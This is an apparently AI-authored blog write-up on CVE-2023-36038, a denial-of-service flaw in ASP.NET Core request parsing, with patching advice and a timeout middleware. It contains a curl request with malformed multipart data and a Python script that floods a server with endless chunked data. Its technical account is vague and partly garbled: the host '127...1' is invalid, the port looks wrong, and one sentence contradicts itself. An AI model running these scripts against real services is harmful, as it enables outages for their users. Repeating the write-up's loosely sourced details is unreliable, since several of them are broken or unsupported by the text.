Microsoft’s CVE-2023-36038 revealed a serious Denial of Service (DoS) vulnerability in the popular ASP.NET Core framework. If you’re running web services or APIs on .NET Core, this one deserves your full attention. In this long read, we’ll break down the vulnerability in simple language, explain how attackers might exploit it, and show you code snippets relevant to understand (and reproduce) the bug—purely for educational purposes.

What is CVE-2023-36038?

CVE-2023-36038 is a vulnerability reported in November 2023 that affects ASP.NET Core’s handling of request parsing. It allows an unauthenticated attacker to crash or freeze applications by sending specially crafted HTTP requests—which leads to denial of service. This can disrupt business processes, cause outages, and expose organizations to further risk.

Severity: High
Affected Products:

ASP.NET Core running on affected .NET runtimes

Summary:
The bug stems from how ASP.NET Core handles certain malformed HTTP requests. If the request hits certain edge cases, the server goes into an infinite loop or spends unbounded CPU and memory resources trying to parse it, causing the app to stall or crash.

- Microsoft Security Advisory for CVE-2023-36038
- GitHub Security Advisory for ASP.NET Core
- .NET Blog: November 2023 Security Updates

Vulnerable Code Path

The DoS trigger is related to ASP.NET Core’s parsing of HTTP headers or multipart form data. In some cases (such as certain invalid header values), the parser fails to terminate, burning CPU cycles endlessly.

Imagine a scenario where the Content-Length is present but the body is malformed, or headers are present with sudden interruptions.

Here’s a simple way to send a malformed HTTP request which triggers the bug on an unpatched server

curl -v -X POST http://localhost:500/upload \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="file"; filename="test.txt"\r\n\r\nBAD_DATA'

If the server is vulnerable, it may hang or spike CPU.

Another approach—sending a never-ending HTTP chunked body

import socket
import time

HOST = '127...1'
PORT = 500

s = socket.socket()
s.connect((HOST, PORT))

payload = (
    "POST /upload HTTP/1.1\r\n"
    "Host: {}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Type: multipart/form-data; boundary=BOUNDARY\r\n"
    "\r\n"
).format(HOST)

s.send(payload.encode('utf-8'))

# Keep sending chunks, never ending the sequence
while True:
    s.send(b'100\r\n' + b'A'*4096 + b'\r\n')
    time.sleep(.1)

This script spams never-ending HTTP chunks, pushing the server to use resources indefinitely.

Real-World Impact

If an attacker automates these requests against your public-facing web app, they could degrade performance for all users, or totally crash your service—even *without* valid credentials.

High CPU usage spikes in web server processes (e.g., dotnet or iisexpress)

- App pool recycling/crashing

Patch Immediately

- Update to the latest version of .NET Core and ASP.NET Core as per security bulletin.

Use a robust HTTP request firewall (WAF or reverse proxy) to filter malformed requests.

- Rate-limit all large/long-running POST requests.

For extra defense, consider adding a middleware to cap request parsing time

public class RequestTimeoutMiddleware
{
    private readonly RequestDelegate _next;
    private static readonly TimeSpan Timeout = TimeSpan.FromSeconds(10);

    public RequestTimeoutMiddleware(RequestDelegate next)
    {
        _next = next;
    }

    public async Task InvokeAsync(HttpContext context)
    {
        using var cts = new CancellationTokenSource(Timeout);

        var task = _next(context);
        var completedTask = await Task.WhenAny(task, Task.Delay(Timeout, cts.Token));

        if (completedTask == task)
        {
            await task;
        }
        else
        {
            context.Response.StatusCode = StatusCodes.Status408RequestTimeout;
            await context.Response.WriteAsync("Request timed out.");
        }
    }
}

Register this middleware early in your ASP.NET pipeline to minimize exposure to long-running parsing issues.

Conclusion

CVE-2023-36038 shines a light on the dangers of resilient and robust HTTP parsing. Denial of Service via request parsing bugs is tricky because attacks are often hard to distinguish from normal surges. Patch, monitor, and remember: The best defense is staying up-to-date.

Further Reading

- Detailed Analysis by Bishop Fox
- OWASP: Denial of Service


Stay patched and stay safe. If you have questions or need to test your services, always do so responsibly and never attack systems you don’t own!

*— Exclusive Write-Up by OpenAI’s Assistant, 2024*

Timeline

Published on: 11/14/2023 22:15:28 UTC
Last modified on: 11/20/2023 20:36:46 UTC